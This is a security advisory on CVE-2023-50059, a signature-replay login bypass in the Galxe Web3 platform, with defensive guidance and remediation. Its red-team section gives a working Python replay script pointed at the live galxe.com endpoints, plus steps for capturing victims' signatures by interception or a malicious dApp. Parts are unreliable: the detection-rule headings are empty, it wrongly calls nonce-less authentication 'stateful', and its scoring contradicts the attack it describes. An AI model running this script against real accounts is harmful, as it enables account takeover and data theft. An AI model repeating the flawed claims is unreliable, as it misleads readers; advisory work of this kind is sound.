CVE-2023-50059

Executive Summary

CVE-2023-50059 identifies a critical authentication bypass vulnerability in the Galxe platform (version 1.0). The flaw resides in the Web3 authentication process, where signed messages lack a nonce (random number). This allows a remote attacker to replay captured authentication signatures, thereby obtaining sensitive user information and potentially gaining unauthorized access to accounts. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by Galxe.com.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but affects the Galxe platform's proprietary Web3 authentication flow. The risk is amplified in decentralized application (dApp) environments where users interact with the platform via wallet signatures.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete scoring data. However, based on the technical impact, a realistic assessment would be:

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No prior authentication needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond normal authentication.
• Scope (S): Changed (C) – The attack impacts resources beyond the original authorization boundary.
• Confidentiality (C): High (H) – Sensitive user data (wallet addresses, session tokens) can be exposed.
• Integrity (I): High (H) – Attackers can impersonate users and perform actions on their behalf.
• Availability (A): Low (L) – The attack does not directly disrupt service but could lead to account lockouts.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Estimated Score: 9.0 (Critical)

Deep Dive & Mechanics

The Galxe platform uses Web3 authentication where users sign a message with their private key to prove ownership of a wallet address. The signed message is then sent to the server for verification. The vulnerability arises because the signed message does not include a nonce—a unique, random number that changes with each authentication request.

Normal Flow:

1. User requests a challenge from the server.
2. Server generates a challenge (e.g., "Sign this message to log in").
3. User signs the challenge with their private key.
4. Server verifies the signature and grants access.

Exploited Flow:

1. Attacker intercepts a valid signed message (e.g., via network sniffing or phishing).
2. Since the message lacks a nonce, the attacker can replay the same signed message to the server.
3. The server verifies the signature (which is still valid) and grants the attacker access as the victim user.
4. The attacker can then view sensitive information (wallet balances, personal data) and perform actions on behalf of the victim.

The absence of a nonce makes the authentication stateful and replayable, violating the principle of freshness in cryptographic protocols.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Server-side authentication handler
app.post('/auth', (req, res) => {
  const { signature, message } = req.body;
  const recoveredAddress = recoverAddress(message, signature);
  // No nonce check
  if (isValidUser(recoveredAddress)) {
    req.session.user = recoveredAddress;
    res.json({ success: true });
  }
});

Patched Code (Conceptual):

// Server-side authentication handler with nonce
const nonceStore = new Map();

app.post('/auth', (req, res) => {
  const { signature, message, nonce } = req.body;
  // Verify nonce exists and is not expired
  if (!nonceStore.has(nonce) || nonceStore.get(nonce).expires < Date.now()) {
    return res.status(401).json({ error: 'Invalid nonce' });
  }
  const recoveredAddress = recoverAddress(message, signature);
  if (isValidUser(recoveredAddress)) {
    nonceStore.delete(nonce); // Invalidate nonce after use
    req.session.user = recoveredAddress;
    res.json({ success: true });
  }
});

The patched version introduces a nonce that must be generated by the server, included in the signed message, and verified upon each authentication attempt. The nonce is then invalidated to prevent replay.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target Galxe platform instance (e.g., https://galxe.com).
• Ability to intercept or capture a valid signed message (e.g., via a proxy like Burp Suite or by phishing a user).
• Python 3.x with requests and web3 libraries.

Exploit Script:

import requests
from web3 import Web3

# Target URL
TARGET = "https://galxe.com/auth"

# Intercepted signed message (example)
intercepted_signature = "0x..."
intercepted_message = "Sign this message to log in"

# Replay the captured signature
def exploit():
    session = requests.Session()
    payload = {
        "signature": intercepted_signature,
        "message": intercepted_message
    }
    response = session.post(TARGET, json=payload)
    if response.status_code == 200:
        print("[+] Authentication bypass successful!")
        print("[+] Session cookie:", session.cookies.get_dict())
        # Now access protected endpoints
        profile = session.get("https://galxe.com/profile")
        print("[+] Profile data:", profile.text)
    else:
        print("[-] Exploit failed")

if __name__ == "__main__":
    exploit()

Steps:

1. Capture a valid signed message from a victim (e.g., via a man-in-the-middle attack or by hosting a malicious dApp that requests a signature).
2. Run the exploit script to replay the signature.
3. Access the victim's account and extract sensitive information.

Blue Team (Defensive)

Detection:

• Monitor for multiple authentication requests using the same signature within a short time window.
• Implement rate limiting on the /auth endpoint.
• Log all authentication attempts and alert on anomalies (e.g., same signature used from different IPs).

Mitigation:

• Immediately implement a nonce-based challenge-response mechanism.
• Use short-lived tokens (e.g., JWT with expiration) for session management.
• Educate users to verify the message they are signing (e.g., check for a nonce in the message).

Indicators of Compromise (IOCs)

• Network: Repeated POST requests to /auth with identical signature and message payloads.
• Logs: Authentication logs showing the same recoveredAddress from different IP addresses within seconds.
• Session: Unusual session tokens that were previously associated with a different user.
• File: Captured signed messages (e.g., signature.txt) on attacker-controlled systems.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Implement Nonce: Modify the authentication flow to include a server-generated nonce in the signed message. The nonce must be unique, random, and single-use.
2. Session Expiry: Enforce short session timeouts (e.g., 15 minutes) and require re-authentication for sensitive actions.
3. Rate Limiting: Apply strict rate limiting on the /auth endpoint to slow down brute-force or replay attempts.

Long-Term Fixes:

• Adopt OAuth 2.0 or OpenID Connect with PKCE for Web3 authentication.
• Use hardware security modules (HSMs) for key management.
• Conduct regular security audits and penetration testing.

Workarounds (if patching is delayed):

• Disable Web3 authentication temporarily and use traditional email/password with MFA.
• Monitor logs for replay patterns and block offending IPs.

Valters IT
Securing Digital Frontiers